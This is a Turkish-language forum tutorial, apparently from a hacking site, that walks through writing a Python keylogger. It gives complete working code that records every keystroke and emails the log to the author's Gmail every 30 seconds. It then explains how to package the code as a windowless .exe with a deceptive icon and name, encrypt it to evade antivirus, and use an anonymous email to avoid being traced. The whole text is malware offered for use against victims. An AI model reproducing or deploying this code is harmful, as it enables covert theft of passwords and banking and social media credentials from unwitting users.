Python keylogger

Python keylogger


BASIC PYTHON KEYLOGGER



4wbehy8.png



Merhaba dostlarım, bu makalede sizlere "Python3" ile yazabileceğiniz basit bir "Keylogger" örneği göstereceğim.

Piyasada stabil, uzun ömürlü, %100 güvenli bir "Keylogger" yada "Keylogger içeren RAT" maalesef kalamıyor.

Ee, sadece keylogger için RAT bulmak, port açmak gibi sıkıntılara girmek istemeyen arkadaşlarımız ne yapacak?

Cevabını bu makalede bulacaksınız.



|

|

|

v




What's a Keylogger?



58wrlid.png



Bir "Keylogger" adından da anlaşılacağı üzere, kullanıcının sistemde girdi yaptığı tuş vuruşlarının kaydedilmesini sağlayan bir virüs türüdür.

Son derece tehlikeli olmalarının sebebi, aktif edildikleri anda cihazda yazılan,basılan her tuş karakterini kayıt ettiklerinden önemli banka hesaplarını, sosyal medya hesaplarını vb. kolaylıkla kötü niyetli korsanın görmesine izin vermesidir.



Peki, kendi "Keylogger"ımı nasıl yazabilirim?



qqt6mls.png



Öncelikle bu makalede sizlere "Python3" ile nasıl keylogger yazıldığını göstereceğim.

Bu sebebten ötürü cihazınızda "Python3" yüklü olduğundan emin olun.


Daha sonra her hangi bir klasöre ".py" uzantılı bir python dosyası oluşturalım.


bmcwvgk.png



Ardından bu keyloggerda ihtiyacımız olacak kütüphaneleri "import" edelim.


7tg40tx.png



"pynput" -> "Tuş vuruşlarını dinlemeye almamızı kolaylaştıran kütüphane"

"smtplib" -> "SMTP sunucularına bağlanıp kayıt ettiğimiz tuşları email yolu ile elde etmemizi sağlayan kütüphane"

"threading" -> "Python'da paralel işlem yapmamızı sağlayan kütüphane"


Burada IDE bizi "pynput" hakkında uyarıyor. Bu uyarının sebebi, bu kütüphaneyi cihazımıza indirmemiş olmamızdır.

Hemen indirelim, böylece python deneyimi yaşamamış arkadaşlar nasıl bir kütüphane indirilir onu görmüş olurlar.


htrwzzx.png


oh6u0x7.png



Kütüphaneyi cihaza yüklediğimiz anda sorunun ortadan kalktığını görüyoruz.

Devam edelim.


Şimdi ilk fonksiyonumuz olacak olan "callback" fonksiyonunu yazmaya başlayalım.

Sizler fonkisyon isimlerinde özgürsünüz, ancak büyük harf ve türkçe karakter kullanmamaya özen gösterin.


p62rdu8.png



Öncelikle "log" adında bir değişken oluşturduk. Bu değişken, dinlediğimiz tuşları içerisinde barındıracak bir değişken olacak.

Ardından "callback" adlı bir fonksiyon oluşturduk ve "keys" adında bir parametre verdik. Bu, fonksiyon çağrılırken içerisine bir parametre alacağını gösterir.

Daha sonra "log" adlı değişkenimizi "global" anahtarı ile fonksiyonun içerisine aldık.

Bu "global" anahtarı bizlere burada, fonksiyonun dışarısında tanımlanan değişkenimizi fonksiyonun içerisinde de kullanmamıza imkan vermiş oluyor.


puigqq5.png



Bu adımda ise, bir "try-except" bloğu açarak tuş ayarlarını bu bloğun içine yazdık.

9.satırda program duyduğu tuşları "string" formatta "log" değişkenine yazmayı deneyecek.

Eğer burada bir sorun yaşarsa "except" tarafına yönlendirilecek.

Burada 5 adet kural yazdık. Bunlar;

1- "space" tuşuna basılırsa boşluk bırak

2- "Geri/silme" tuşuna basılırsa tuşun adını yaz (Burada yazılan karakteri basit bir kodla silebilirsiniz, ödev olsun

 )
3- "enter" tuşuna basılırsa alt satıra geç

4- "capslock" tuşuna basılırsa tuşun adını yaz

5- bu kuralla takılmayan olursa direk kendisini yaz


Kural tanımlarını yaptık, tuşları tutacak değişken de belirledik, peki bunları mailimize nasıl alacağız?


Bu adımda da mail gönderimi yapacak bir fonksiyon yazacağız.

"smtp" kütüphanesinden yararlanacağız

s

b1j6p5l.png



"sending_mail" adlı bir fonksiyon oluşturduk ve bu fonksiyona 3 adet parametre verdik.

Ardından smtp sunucularına bağlantı kurduk ve parametrelerimizi yerleştirdik.

Burada değişiklik yapmanıza gerek yok, standart bir kalıp gibi kullanabilirsiniz.


Şimdi ise programın aynı anda hem tuşları dinlemesini hemde bunları kaydedip bize göndermesi konusunda bize yardım edecek olan "threading" modülünü kullanalım.


jp6myww.png



"thread" adında bir fonksiyon oluşturduk.

Bu fonksiyon içerisine "log" değişkenimizi aldık.

24.satırda bulunan "sending_mail" fonksiyonumuzu burada çağırdık ve bizden istediği parametreleri girdik.

Buradaki "email_address" -> "sizin mail adresiniz", "password" -> "bu mail adresinin parolası".

Fake ve anonim bir mail adresi kullanmanızı öneririm. Sebebi ise, keylogger'ı incelemeye alırlar ise mail adresinizi alırlar.

33.satırda ise "log" değişkenimizi sıfırlıyoruz.

Daha sonra bir zamanlayıcı yazıyoruz. Burada "30" -> saniye cinsindendir. İstediğinizi yazabilirsiniz.


Son olarak ise dinleme bloğumuzu da yazalım ve işi bitirelim.


jvqk70n.png



Artık kodlarımız hazır.

Python

#the following lines of code were written by w1sd0m
import pynput.keyboard
from pynput.keyboard import Listener
import smtplib
import threading
log="--Starting--"
def callback(keys):
    global log
    print("")
    try:
        log +=str(keys.char)
    except AttributeError:
        if keys == keys.space:
            log +=" "
        elif keys == keys.backspace:
            log +=" BACKSPACE "
        elif keys == keys.enter:
            log += "\n"
        elif keys == keys.caps_lock:
            log += " CAPSLOCK "
        else:
            log +=str(keys)
    print(log)

def sending_mail(email,passwd,message):
    service = smtplib.SMTP("smtp.gmail.com", 587)
    service.starttls()
    service.login(email,passwd)
    service.sendmail(email,email,message)
    service.quit()

def thread():
    global log
    sending_mail("email_address","password",log)
    log = ""
    timer = threading.Timer(30,thread)
    timer.start()

listener = pynput.keyboard.Listener(on_press=callback)
with listener:
    thread()
    listener.join()


Bakınız bu keylogger, olayın mantığını ve kendi virüslerinizi yazmanızda motive olmanız açısından tarafımca basitçe yazılmıştır.

Sizlerden istediğim, yazacağınız bunun gibi kodları çeşitli "FUD" teknikleri ile, yazılım bilginiz ile,varsa güzel toollar ile encrypt etmeniz.

Bu konuyu araştırın ve fudladığınız virüsleri "VirusTotal" gibi rapor gönderen sitelere yüklemeyin. Rapor göndermeyenlere yükleyin yada sanal makine kurun ve antiler yakalıyormu bi bakın.



E7ge7s.png




Birde sizlere bu ".py" uzantılı virüsünüzü nasıl ".exe" formatına sokulduğunu göstereyim.

Belki henüz öğrememiş arkadaşlar vardır.


Öncelikle bize bu konuda yardım edecek olan "pyinstaller" modülünü cihazımıza yükleyelim.

pip3 install pyinstaller


cy68ffg.png



Modülü cihaza indirdik.

Ardından, bizim bu keylogger ile istediğiniz bir ".ico" uzantılı ikon dosyasını aynı klasöre alalım.


5okiadq.png



Daha sonra bu klasörün konumunda "cmd" komut istemcisini çalıştıralım ve "pyinstaller" modülü ile hem keylogger'ımızı ".exe" yapalım hemde ikon ekleyelim.


pyinstaller --onefile --icon <ikon_dosyanızın_adı> <keylogger_dosyanızın_adı> --noconsole


kgpqb7t.png



Yukarıdaki kodu çalıştırdığınızda işlem başlayacaktır ve böyle bir sonuç aldığınızda işleminiz tamamlanmış anlamına gelecektir.


Yeni ".exe" uzantılı keylogger'ınıza da ikon ile alakalı güzel bir isim koyduğunuzda daha inandırıcı olacaktır.


7rbtvas.png



İşlemlerimiz bu kadardı dostlarım.

Şimdi çalıştıralım ve sonuçları görelim.


lahpgys.png



7k1p51z.png



40lqevm.png



Görüldüğü üzere "I'm not keylogger bro.exe" adlı keylogger'ımız sağlık bir şekilde çalışıyor.

"Neden karakter silmiyor da BACKSPACE yazıyor", "Neden büyük harf yapmadı da CAPSLOCK yazdı" şeklinde sorularınız olacaktır.

Bu işlemler birkaç satır kod ile halledilebiliyor ve sizlerin bunu araştırmasını istiyorum.

Böylece kendi tasarımınızı yapmış olacaksınız.



540szyc.png




Sürekli "son olarak" diyorum diyorum ama bir türlü konuyu kapatamıyorum 


Son olarak, mail almada hata yaşayanlarınız olabilir.
Mail gelmiyor ise aşağıya bırakacağım link üzerinden "gmail hesaplar için" göstereceğim alanı seçmeniz sorunu çözecektir.


LINK

s0fo3c4.png




^

|

|

|



Değerli dostlarım, güzel kardeşlerim;

Yazılım bilginizi geliştirmek ve kendi virüslerinizi yazmak istediğinizi biliyorum.

Bilmeyen, cesaret edemeyen, yapamam diyen dostlarımız var.

Bu makale sizlere bir başlangıç noktası olur umarım.

İstenildiğinde herşey mümkün.


Sağlıcakla kalın.

Report Page